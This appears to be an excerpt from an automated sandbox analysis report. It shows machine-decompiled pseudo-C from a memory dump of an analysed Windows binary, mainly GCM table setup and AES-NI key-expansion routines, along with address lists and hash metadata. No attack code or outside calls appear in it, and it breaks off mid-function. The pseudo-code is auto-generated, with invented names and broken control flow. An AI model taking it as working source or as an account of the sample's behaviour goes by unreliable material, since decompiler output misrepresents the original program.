                                                                								 *_t132 =  *(_t251 + 0xa4) ^ _a36;
                                                                								__eflags =  *_t132;
                                                                							}
                                                                							 *(_t251 + 0x50) = _t144;
                                                                							 *(_t251 + 0x54) = _a8;
                                                                							__eflags = _a72 ^ _t255;
                                                                							return E00B89C26(1, _t185, _a72 ^ _t255, _a8, _t250, _t251);
                                                                						} else {
                                                                							L8:
                                                                							return E00B89C26(0, _t185, _a72 ^ _t258, _t231, _t249, _t251);
                                                                						}
                                                                					}
                                                                				}
                                                                				L28:
                                                                			}































                                                                0x00abdec5
                                                                0x00abdeca
                                                                0x00abded1
                                                                0x00abdedf
                                                                0x00abdee3
                                                                0x00abdee8
                                                                0x00abdeec
                                                                0x00abdef1
                                                                0x00abdef4
                                                                0x00abdef9
                                                                0x00abdf00
                                                                0x00abdf02
                                                                0x00abdf04
                                                                0x00abdf08
                                                                0x00abdf0c
                                                                0x00abdf12
                                                                0x00abdf8b
                                                                0x00abdf8b
                                                                0x00abdf8e
                                                                0x00abdf91
                                                                0x00abdf95
                                                                0x00000000
                                                                0x00abdf9b
                                                                0x00abdf9b
                                                                0x00abdfa5
                                                                0x00abdfaa
                                                                0x00abdfac
                                                                0x00abdfae
                                                                0x00abdfb0
                                                                0x00abdfb2
                                                                0x00abdfba
                                                                0x00abdfc0
                                                                0x00abdfc0
                                                                0x00abdfc4
                                                                0x00abdfcd
                                                                0x00abdfcf
                                                                0x00abdfd1
                                                                0x00abdfd1
                                                                0x00abdfc0
                                                                0x00abdfd9
                                                                0x00abdfda
                                                                0x00abdfdb
                                                                0x00abdfe0
                                                                0x00abdfe3
                                                                0x00abdfe5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abdf9d
                                                                0x00abdf9d
                                                                0x00abdf9f
                                                                0x00000000
                                                                0x00abdfa5
                                                                0x00000000
                                                                0x00abdfa5
                                                                0x00abdfa5
                                                                0x00000000
                                                                0x00abdfeb
                                                                0x00abdfed
                                                                0x00abdff6
                                                                0x00abdfff
                                                                0x00abe008
                                                                0x00abe023
                                                                0x00abe02c
                                                                0x00abe030
                                                                0x00abe04d
                                                                0x00abe055
                                                                0x00abe05f
                                                                0x00abe07a
                                                                0x00abe081
                                                                0x00abe085
                                                                0x00abe087
                                                                0x00abe09e
                                                                0x00abe0a3
                                                                0x00abe0a6
                                                                0x00abe0af
                                                                0x00abe0b8
                                                                0x00abe0c1
                                                                0x00abe0c7
                                                                0x00abe0ca
                                                                0x00abe0cd
                                                                0x00abe0cd
                                                                0x00abe0d7
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abe0d9
                                                                0x00abe0d9
                                                                0x00abe0d9
                                                                0x00abe0e3
                                                                0x00000000
                                                                0x00abe0e3
                                                                0x00abdf9f
                                                                0x00abdf9b
                                                                0x00abdf14
                                                                0x00abdf14
                                                                0x00abdf18
                                                                0x00000000
                                                                0x00abdf25
                                                                0x00abdf25
                                                                0x00abdf27
                                                                0x00abdf29
                                                                0x00abdf30
                                                                0x00abdf31
                                                                0x00abdf31
                                                                0x00abdf35
                                                                0x00abdf36
                                                                0x00abdf37
                                                                0x00abdf3c
                                                                0x00abdf41
                                                                0x00abdf81
                                                                0x00abdf83
                                                                0x00abe0e7
                                                                0x00abe0e7
                                                                0x00abe0eb
                                                                0x00abe0ef
                                                                0x00abe0ef
                                                                0x00abe0ef
                                                                0x00abe0f2
                                                                0x00abe0f4
                                                                0x00abe0fd
                                                                0x00abe106
                                                                0x00abe112
                                                                0x00abe11b
                                                                0x00abe130
                                                                0x00abe132
                                                                0x00abe135
                                                                0x00abe137
                                                                0x00abe139
                                                                0x00abe144
                                                                0x00abe150
                                                                0x00abe150
                                                                0x00abe152
                                                                0x00abe155
                                                                0x00abe159
                                                                0x00abe15a
                                                                0x00abe15e
                                                                0x00abe15e
                                                                0x00abe152
                                                                0x00abe167
                                                                0x00abe16c
                                                                0x00abe170
                                                                0x00abe174
                                                                0x00abe178
                                                                0x00abe182
                                                                0x00abe187
                                                                0x00abe190
                                                                0x00abe19e
                                                                0x00abe1a8
                                                                0x00abe1ae
                                                                0x00abe1b2
                                                                0x00abe1b5
                                                                0x00abe1b5
                                                                0x00abe1b5
                                                                0x00abe1b5
                                                                0x00abe1c4
                                                                0x00abe1c7
                                                                0x00abe1cd
                                                                0x00abe1dc
                                                                0x00abdf46
                                                                0x00abdf46
                                                                0x00abdf57
                                                                0x00abdf57
                                                                0x00abdf41
                                                                0x00abdf18
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 435e232951c84954dd7fb4fa72101e97445199a9cb7c3dca1083bdc3075f31e6
                                                                • Instruction ID: 4f47253a08aeb60311a1eb336ffef7580b6bb91a318544574bfeadaf309c018e
                                                                • Opcode Fuzzy Hash: 435e232951c84954dd7fb4fa72101e97445199a9cb7c3dca1083bdc3075f31e6
                                                                • Instruction Fuzzy Hash: 5BA1E4716087008FD368DF39C881AABB7E5FFC8314F45892DE59A87351EA31E945CB52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00ABB940(signed int* __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a44, signed int _a48, signed int _a52, signed int _a60, intOrPtr* _a68) {
                                                                				signed int _v0;
                                                                				intOrPtr* _t178;
                                                                				unsigned int _t179;
                                                                				signed int _t182;
                                                                				signed int _t186;
                                                                				signed int _t187;
                                                                				signed int _t208;
                                                                				signed int _t210;
                                                                				unsigned int _t212;
                                                                				signed int _t218;
                                                                				signed int _t219;
                                                                				signed int _t221;
                                                                				signed int _t222;
                                                                				signed int _t224;
                                                                				signed int _t231;
                                                                				unsigned int _t234;
                                                                				signed int _t237;
                                                                				signed int _t238;
                                                                				signed int _t241;
                                                                				signed int _t245;
                                                                				signed int _t246;
                                                                				signed int _t250;
                                                                				signed int _t253;
                                                                				signed int _t261;
                                                                				signed int _t263;
                                                                				unsigned int _t267;
                                                                				signed int _t273;
                                                                				signed int _t275;
                                                                				signed int _t277;
                                                                				signed int _t279;
                                                                				signed int _t285;
                                                                				signed int _t287;
                                                                				signed int _t289;
                                                                				signed int _t293;
                                                                				signed int _t298;
                                                                				signed int _t301;
                                                                				signed int _t302;
                                                                
                                                                				E00B8BB10(0x40);
                                                                				_t178 = _a68;
                                                                				 *_t178 = 0;
                                                                				 *((intOrPtr*)(_t178 + 4)) = 0;
                                                                				 *((intOrPtr*)(_t178 + 8)) = 0;
                                                                				 *((intOrPtr*)(_t178 + 0xc)) = 0;
                                                                				_t208 =  *__edx;
                                                                				_t179 = __edx[3];
                                                                				_t293 = __edx[2];
                                                                				_t267 = __edx[1];
                                                                				 *(_t178 + 0x80) = _t208;
                                                                				 *(_t178 + 0x84) = _t267;
                                                                				 *(_t178 + 0x88) = _t293;
                                                                				_a48 = _t208;
                                                                				_t250 = (_t179 << 0x00000020 | _t293) >> 1;
                                                                				 *(_t178 + 0x8c) = _t179;
                                                                				_t210 = _t208 << 0x0000001f | _t179 >> 0x00000001;
                                                                				_t182 = 0 ^ (_t267 << 0x00000020 | _a48) >> 0x1;
                                                                				_t231 =  ~(_t293 & 0x00000001) & 0xe1000000 ^ _t267 >> 0x00000001;
                                                                				 *(_t178 + 0x40) = _t182;
                                                                				 *(_t178 + 0x44) = _t231;
                                                                				_a52 = _t231;
                                                                				 *(_t178 + 0x48) = _t250;
                                                                				 *(_t178 + 0x4c) = _t210;
                                                                				_t234 = _t182 << 0x0000001f | _t210 >> 0x00000001;
                                                                				_t212 = _a52;
                                                                				_t298 = (_t210 << 0x00000020 | _t250) >> 1;
                                                                				_t253 = 0 ^ (_t212 << 0x00000020 | _t182) >> 0x1;
                                                                				_t273 =  ~(_t250 & 0x00000001) & 0xe1000000 ^ _t212 >> 0x00000001;
                                                                				 *(_t178 + 0x20) = _t253;
                                                                				 *(_t178 + 0x24) = _t273;
                                                                				 *(_t178 + 0x28) = _t298;
                                                                				_a4 = _t253;
                                                                				_a4 = _a4 << 0x1f;
                                                                				_v0 = 0;
                                                                				_t301 = _v0 | (_t234 << 0x00000020 | _t298) >> 0x1;
                                                                				 *(_t178 + 0x2c) = _t234;
                                                                				_t186 = _a4 | _t234 >> 0x00000001;
                                                                				_a60 = _t186;
                                                                				_t218 =  ~(_t298 & 0x00000001) & 0xe1000000 ^ _t273 >> 0x00000001;
                                                                				_t275 =  *(_t178 + 0x24);
                                                                				_t237 = 0 ^ (_t273 << 0x00000020 | _t253) >> 0x1;
                                                                				 *(_t178 + 0x10) = _t237;
                                                                				 *(_t178 + 0x14) = _t218;
                                                                				 *(_t178 + 0x18) = _t301;
                                                                				_a44 = _t275;
                                                                				_t219 =  *(_t178 + 0x28);
                                                                				 *(_t178 + 0x1c) = _t186;
                                                                				_t187 =  *(_t178 + 0x20);
                                                                				 *(_t178 + 0x34) = _t275 ^ _t218;
                                                                				_t277 =  *(_t178 + 0x14);
                                                                				_a52 = _t277;
                                                                				_t238 =  *(_t178 + 0x2c);
                                                                				_a4 = _t238;
                                                                				_v0 = _t219;
                                                                				 *(_t178 + 0x3c) = _t238 ^ _a60;
                                                                				_t241 =  *(_t178 + 0x18);
                                                                				 *(_t178 + 0x54) = _t277 ^  *(_t178 + 0x44);
                                                                				_t279 =  *(_t178 + 0x1c);
                                                                				_a20 = _t279;
                                                                				_t302 =  *(_t178 + 0x10);
                                                                				 *(_t178 + 0x5c) = _t279 ^  *(_t178 + 0x4c);
                                                                				 *(_t178 + 0x30) = _t187 ^ _t237;
                                                                				 *(_t178 + 0x64) = _a44 ^  *(_t178 + 0x44);
                                                                				_a16 = _t241;
                                                                				 *(_t178 + 0x68) = _v0 ^  *(_t178 + 0x48);
                                                                				_t285 =  *(_t178 + 0x30);
                                                                				 *(_t178 + 0x38) = _t219 ^ _t301;
                                                                				_t221 =  *(_t178 + 0x40);
                                                                				 *(_t178 + 0x58) = _t241 ^  *(_t178 + 0x48);
                                                                				_a24 = _t285;
                                                                				_t222 =  *(_t178 + 0x38);
                                                                				 *(_t178 + 0x50) = _t302 ^ _t221;
                                                                				_a32 = _t222;
                                                                				 *(_t178 + 0x60) = _t187 ^ _t221;
                                                                				_t245 =  *(_t178 + 0x4c);
                                                                				 *(_t178 + 0x70) = _t285 ^ _t221;
                                                                				_t287 =  *(_t178 + 0x3c);
                                                                				 *(_t178 + 0x78) = _t222 ^  *(_t178 + 0x48);
                                                                				_t224 =  *(_t178 + 0x80);
                                                                				 *(_t178 + 0x6c) = _a4 ^ _t245;
                                                                				_t261 =  *(_t178 + 0x34);
                                                                				_a8 = _t302 ^ _t224;
                                                                				_a36 = _t287;
                                                                				_t246 =  *(_t178 + 0x84);
                                                                				_a28 = _t261;
                                                                				_a12 = _a52 ^ _t246;
                                                                				 *(_t178 + 0x74) = _t261 ^  *(_t178 + 0x44);
                                                                				_t263 =  *(_t178 + 0x8c);
                                                                				 *(_t178 + 0x7c) = _t287 ^ _t245;
                                                                				_t289 =  *(_t178 + 0x88);
                                                                				 *((intOrPtr*)(_t178 + 0x90)) = _a8;
                                                                				 *((intOrPtr*)(_t178 + 0x94)) = _a12;
                                                                				_a8 = _a16 ^ _t289;
                                                                				_a12 = _a20 ^ _t263;
                                                                				 *(_t178 + 0x98) = _a8;
                                                                				 *(_t178 + 0x9c) = _a12;
                                                                				 *(_t178 + 0xa4) = _a44 ^ _t246;
                                                                				 *(_t178 + 0xa0) = _t187 ^ _t224;
                                                                				 *(_t178 + 0xac) = _a4 ^ _t263;
                                                                				 *(_t178 + 0xa8) = _v0 ^ _t289;
                                                                				 *(_t178 + 0xb4) = _a28 ^ _t246;
                                                                				 *(_t178 + 0xb0) = _a24 ^ _t224;
                                                                				 *(_t178 + 0xbc) = _a36 ^ _t263;
                                                                				 *(_t178 + 0xb8) = _a32 ^ _t289;
                                                                				 *(_t178 + 0xc0) = _t224 ^  *(_t178 + 0x40);
                                                                				 *(_t178 + 0xc4) = _t246 ^  *(_t178 + 0x44);
                                                                				 *(_t178 + 0xcc) =  *(_t178 + 0x4c) ^ _t263;
                                                                				 *(_t178 + 0xc8) =  *(_t178 + 0x48) ^ _t289;
                                                                				 *(_t178 + 0xd4) =  *(_t178 + 0x54) ^ _t246;
                                                                				 *(_t178 + 0xd0) =  *(_t178 + 0x50) ^ _t224;
                                                                				 *(_t178 + 0xd8) = _t289 ^  *(_t178 + 0x58);
                                                                				 *(_t178 + 0xdc) = _t263 ^  *(_t178 + 0x5c);
                                                                				 *(_t178 + 0xe4) =  *(_t178 + 0x64) ^ _t246;
                                                                				 *(_t178 + 0xe0) =  *(_t178 + 0x60) ^ _t224;
                                                                				 *(_t178 + 0xf8) = _t289 ^  *(_t178 + 0x78);
                                                                				 *(_t178 + 0xfc) = _t263 ^  *(_t178 + 0x7c);
                                                                				 *(_t178 + 0xec) = _t263 ^  *(_t178 + 0x6c);
                                                                				 *(_t178 + 0xe8) = _t289 ^  *(_t178 + 0x68);
                                                                				 *(_t178 + 0xf0) = _t224 ^  *(_t178 + 0x70);
                                                                				 *(_t178 + 0xf4) = _t246 ^  *(_t178 + 0x74);
                                                                				return _t178;
                                                                			}








































                                                                0x00abb945
                                                                0x00abb94a
                                                                0x00abb951
                                                                0x00abb953
                                                                0x00abb956
                                                                0x00abb959
                                                                0x00abb95c
                                                                0x00abb95e
                                                                0x00abb962
                                                                0x00abb966
                                                                0x00abb969
                                                                0x00abb96f
                                                                0x00abb975
                                                                0x00abb981
                                                                0x00abb988
                                                                0x00abb998
                                                                0x00abb9a0
                                                                0x00abb9ac
                                                                0x00abb9b0
                                                                0x00abb9b2
                                                                0x00abb9b5
                                                                0x00abb9b8
                                                                0x00abb9bc
                                                                0x00abb9bf
                                                                0x00abb9cf
                                                                0x00abb9d1
                                                                0x00abb9db
                                                                0x00abb9e6
                                                                0x00abb9ee
                                                                0x00abb9f0
                                                                0x00abb9f3
                                                                0x00abb9f6
                                                                0x00abba01
                                                                0x00abba05
                                                                0x00abba0a
                                                                0x00abba19
                                                                0x00abba1f
                                                                0x00abba26
                                                                0x00abba34
                                                                0x00abba3a
                                                                0x00abba3c
                                                                0x00abba3f
                                                                0x00abba41
                                                                0x00abba44
                                                                0x00abba47
                                                                0x00abba4a
                                                                0x00abba50
                                                                0x00abba53
                                                                0x00abba56
                                                                0x00abba59
                                                                0x00abba5c
                                                                0x00abba5f
                                                                0x00abba67
                                                                0x00abba6a
                                                                0x00abba72
                                                                0x00abba76
                                                                0x00abba7e
                                                                0x00abba81
                                                                0x00abba84
                                                                0x00abba87
                                                                0x00abba90
                                                                0x00abba93
                                                                0x00abba9d
                                                                0x00abbaa0
                                                                0x00abbaaa
                                                                0x00abbab1
                                                                0x00abbab4
                                                                0x00abbab9
                                                                0x00abbabc
                                                                0x00abbac1
                                                                0x00abbac4
                                                                0x00abbace
                                                                0x00abbad1
                                                                0x00abbad8
                                                                0x00abbadf
                                                                0x00abbae2
                                                                0x00abbae7
                                                                0x00abbaea
                                                                0x00abbaed
                                                                0x00abbaf0
                                                                0x00abbaf8
                                                                0x00abbafb
                                                                0x00abbafe
                                                                0x00abbb06
                                                                0x00abbb0c
                                                                0x00abbb12
                                                                0x00abbb1b
                                                                0x00abbb23
                                                                0x00abbb26
                                                                0x00abbb2c
                                                                0x00abbb2f
                                                                0x00abbb35
                                                                0x00abbb3f
                                                                0x00abbb4b
                                                                0x00abbb55
                                                                0x00abbb5d
                                                                0x00abbb67
                                                                0x00abbb75
                                                                0x00abbb7f
                                                                0x00abbb8d
                                                                0x00abbb97
                                                                0x00abbba5
                                                                0x00abbbaf
                                                                0x00abbbbd
                                                                0x00abbbc3
                                                                0x00abbbd3
                                                                0x00abbbdc
                                                                0x00abbbe9
                                                                0x00abbbf2
                                                                0x00abbbff
                                                                0x00abbc05
                                                                0x00abbc15
                                                                0x00abbc1e
                                                                0x00abbc31
                                                                0x00abbc37
                                                                0x00abbc4d
                                                                0x00abbc53
                                                                0x00abbc5b
                                                                0x00abbc61
                                                                0x00abbc67
                                                                0x00abbc6d
                                                                0x00abbc78

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: aff455658b15347d0a7bdb51ddfb3d96cae611f9a7466f77bf82a1d0a841161e
                                                                • Instruction ID: db2a6d67299f4b2d135bceeca8159c9598b630782068905ee88daa083ab79cd8
                                                                • Opcode Fuzzy Hash: aff455658b15347d0a7bdb51ddfb3d96cae611f9a7466f77bf82a1d0a841161e
                                                                • Instruction Fuzzy Hash: 82C1D5B19143188FD344DF5AC184A56BBE1BF8C710F4685FEEA589B322DB70A940CF95
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 15%
                                                                			E00ABB2D7(void* __ecx, void* __edx) {
                                                                				void* _t14;
                                                                				void* _t16;
                                                                				void* _t17;
                                                                				void* _t18;
                                                                				void* _t19;
                                                                				void* _t20;
                                                                				void* _t21;
                                                                				void* _t22;
                                                                				void* _t23;
                                                                				void* _t24;
                                                                				void* _t25;
                                                                				void* _t26;
                                                                				void* _t27;
                                                                				void* _t30;
                                                                				void* _t31;
                                                                				void* _t32;
                                                                				void* _t33;
                                                                				void* _t34;
                                                                				void* _t35;
                                                                				void* _t36;
                                                                				void* _t39;
                                                                				void* _t40;
                                                                				void* _t41;
                                                                				void* _t42;
                                                                				void* _t43;
                                                                				void* _t44;
                                                                				void* _t45;
                                                                				void* _t46;
                                                                				void* _t47;
                                                                				void* _t54;
                                                                				void* _t57;
                                                                				void* _t60;
                                                                				void* _t63;
                                                                				void* _t64;
                                                                				void* _t65;
                                                                				signed int _t68;
                                                                
                                                                				_t63 = __edx;
                                                                				asm("movups xmm0, [eax]");
                                                                				asm("xorps xmm4, xmm4");
                                                                				_t3 = _t63 + 0x10; // 0x87c70c75
                                                                				_t64 = _t3;
                                                                				_t68 =  *0x00DEC6D4 & 0x10000800;
                                                                				if(__ecx == 0x100) {
                                                                					asm("movups xmm2, [eax+0x10]");
                                                                					_t65 = _t64 + 0x10;
                                                                					if(_t68 == 0x10000000) {
                                                                						asm("movdqa xmm5, [ebx]");
                                                                						asm("movdqa xmm4, [ebx+0x20]");
                                                                						_t54 = 7;
                                                                						asm("movdqu [edx-0x20], xmm0");
                                                                						asm("movdqa xmm1, xmm2");
                                                                						asm("movdqu [edx-0x10], xmm2");
                                                                						while(1) {
                                                                							asm("pshufb xmm2, xmm5");
                                                                							asm("aesenclast xmm2, xmm4");
                                                                							asm("movdqa xmm3, xmm0");
                                                                							asm("pslldq xmm0, 0x4");
                                                                							asm("pxor xmm3, xmm0");
                                                                							asm("pslldq xmm0, 0x4");
                                                                							asm("pxor xmm3, xmm0");
                                                                							asm("pslldq xmm0, 0x4");
                                                                							asm("pxor xmm0, xmm3");
                                                                							asm("pslld xmm4, 0x1");
                                                                							asm("pxor xmm0, xmm2");
                                                                							asm("movdqu [edx], xmm0");
                                                                							_t54 = _t54 - 1;
                                                                							if(_t54 == 0) {
                                                                								break;
                                                                							}
                                                                							asm("pshufd xmm2, xmm0, 0xff");
                                                                							asm("pxor xmm3, xmm3");
                                                                							asm("aesenclast xmm2, xmm3");
                                                                							asm("movdqa xmm3, xmm1");
                                                                							asm("pslldq xmm1, 0x4");
                                                                							asm("pxor xmm3, xmm1");
                                                                							asm("pslldq xmm1, 0x4");
                                                                							asm("pxor xmm3, xmm1");
                                                                							asm("pslldq xmm1, 0x4");
                                                                							asm("pxor xmm1, xmm3");
                                                                							asm("pxor xmm2, xmm1");
                                                                							asm("movdqu [edx+0x10], xmm2");
                                                                							_t12 = _t65 + 0x20; // 0xc24548b
                                                                							_t65 = _t12;
                                                                							asm("movdqa xmm1, xmm2");
                                                                						}
                                                                						 *((intOrPtr*)(_t65 + 0x10)) = 0xd;
                                                                					} else {
                                                                						asm("movups [edx-0x20], xmm0");
                                                                						asm("movups [edx-0x10], xmm2");
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x1");
                                                                						_t16 = E00ABB6E6(_t14);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x1");
                                                                						_t17 = E00ABB700(_t16, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x2");
                                                                						_t18 = E00ABB6E0(_t17, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x2");
                                                                						_t19 = E00ABB700(_t18, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x4");
                                                                						_t20 = E00ABB6E0(_t19, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x4");
                                                                						_t21 = E00ABB700(_t20, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x8");
                                                                						_t22 = E00ABB6E0(_t21, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x8");
                                                                						_t23 = E00ABB700(_t22, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x10");
                                                                						_t24 = E00ABB6E0(_t23, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x10");
                                                                						_t25 = E00ABB700(_t24, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x20");
                                                                						_t26 = E00ABB6E0(_t25, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm0, 0x20");
                                                                						_t27 = E00ABB700(_t26, _t65);
                                                                						asm("aeskeygenassist xmm1, xmm2, 0x40");
                                                                						E00ABB6E0(_t27, _t65);
                                                                						asm("movups [edx], xmm0");
                                                                						 *((intOrPtr*)(_t65 + 0x10)) = 0xd;
                                                                					}
                                                                					goto L19;
                                                                				} else {
                                                                					if(__ecx == 0xc0) {
                                                                						asm("movq xmm2, [eax+0x10]");
                                                                						if(_t68 == 0x10000000) {
                                                                							asm("movdqa xmm5, [ebx+0x10]");
                                                                							asm("movdqa xmm4, [ebx+0x20]");
                                                                							_t57 = 8;
                                                                							asm("movdqu [edx-0x10], xmm0");
                                                                							do {
                                                                								asm("movq [edx], xmm2");
                                                                								asm("movdqa xmm1, xmm2");
                                                                								asm("pshufb xmm2, xmm5");
                                                                								asm("aesenclast xmm2, xmm4");
                                                                								asm("pslld xmm4, 0x1");
                                                                								_t64 = _t64 + 0x18;
                                                                								asm("movdqa xmm3, xmm0");
                                                                								asm("pslldq xmm0, 0x4");
                                                                								asm("pxor xmm3, xmm0");
                                                                								asm("pslldq xmm0, 0x4");
                                                                								asm("pxor xmm3, xmm0");
                                                                								asm("pslldq xmm0, 0x4");
                                                                								asm("pxor xmm0, xmm3");
                                                                								asm("pshufd xmm3, xmm0, 0xff");
                                                                								asm("pxor xmm3, xmm1");
                                                                								asm("pslldq xmm1, 0x4");
                                                                								asm("pxor xmm3, xmm1");
                                                                								asm("pxor xmm0, xmm2");
                                                                								asm("pxor xmm2, xmm3");
                                                                								asm("movdqu [edx-0x10], xmm0");
                                                                								_t57 = _t57 - 1;
                                                                							} while (_t57 != 0);
                                                                							 *((intOrPtr*)(_t64 + 0x20)) = 0xb;
                                                                						} else {
                                                                							asm("movups [edx-0x10], xmm0");
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x1");
                                                                							_t30 = E00ABB540(_t14);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x2");
                                                                							_t31 = E00ABB580(_t30, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x4");
                                                                							_t32 = E00ABB530(_t31, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x8");
                                                                							_t33 = E00ABB580(_t32, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x10");
                                                                							_t34 = E00ABB530(_t33, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x20");
                                                                							_t35 = E00ABB580(_t34, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x40");
                                                                							_t36 = E00ABB530(_t35, _t64);
                                                                							asm("aeskeygenassist xmm1, xmm2, 0x80");
                                                                							E00ABB580(_t36, _t64);
                                                                							asm("movups [edx], xmm0");
                                                                							 *((intOrPtr*)(_t64 + 0x30)) = 0xb;
                                                                						}
                                                                						goto L19;
                                                                					} else {
                                                                						if(__ecx != 0x80) {
                                                                							asm("pxor xmm0, xmm0");
                                                                							return 0xfffffffe;
                                                                						} else {
                                                                							if(_t68 == 0x10000000) {
                                                                								asm("movdqa xmm5, [ebx]");
                                                                								_t60 = 8;
                                                                								asm("movdqa xmm4, [ebx+0x20]");
                                                                								asm("movdqa xmm2, xmm0");
                                                                								asm("movdqu [edx-0x10], xmm0");
                                                                								do {
                                                                									asm("pshufb xmm0, xmm5");
                                                                									asm("aesenclast xmm0, xmm4");
                                                                									asm("pslld xmm4, 0x1");
                                                                									_t64 = _t64 + 0x10;
                                                                									asm("movdqa xmm3, xmm2");
                                                                									asm("pslldq xmm2, 0x4");
                                                                									asm("pxor xmm3, xmm2");
                                                                									asm("pslldq xmm2, 0x4");
                                                                									asm("pxor xmm3, xmm2");
                                                                									asm("pslldq xmm2, 0x4");
                                                                									asm("pxor xmm2, xmm3");
                                                                									asm("pxor xmm0, xmm2");
                                                                									asm("movdqu [edx-0x10], xmm0");
                                                                									asm("movdqa xmm2, xmm0");
                                                                									_t60 = _t60 - 1;
                                                                								} while (_t60 != 0);
                                                                								asm("movdqa xmm4, [ebx+0x30]");
                                                                								asm("pshufb xmm0, xmm5");
                                                                								asm("aesenclast xmm0, xmm4");
                                                                								asm("pslld xmm4, 0x1");
                                                                								asm("movdqa xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm2, xmm3");
                                                                								asm("pxor xmm0, xmm2");
                                                                								asm("movdqu [edx], xmm0");
                                                                								asm("movdqa xmm2, xmm0");
                                                                								asm("pshufb xmm0, xmm5");
                                                                								asm("aesenclast xmm0, xmm4");
                                                                								asm("movdqa xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm3, xmm2");
                                                                								asm("pslldq xmm2, 0x4");
                                                                								asm("pxor xmm2, xmm3");
                                                                								asm("pxor xmm0, xmm2");
                                                                								asm("movdqu [edx+0x10], xmm0");
                                                                								 *((intOrPtr*)(_t64 + 0x60)) = 9;
                                                                							} else {
                                                                								asm("movups [edx-0x10], xmm0");
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x1");
                                                                								_t39 = E00ABB3B6(_t14);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x2");
                                                                								_t40 = E00ABB3B0(_t39, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x4");
                                                                								_t41 = E00ABB3B0(_t40, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x8");
                                                                								_t42 = E00ABB3B0(_t41, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x10");
                                                                								_t43 = E00ABB3B0(_t42, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x20");
                                                                								_t44 = E00ABB3B0(_t43, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x40");
                                                                								_t45 = E00ABB3B0(_t44, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x80");
                                                                								_t46 = E00ABB3B0(_t45, _t64);
                                                                								asm("aeskeygenassist xmm1, xmm0, 0x1b");
                                                                								_t47 = E00ABB3B0(_t46, _t64);
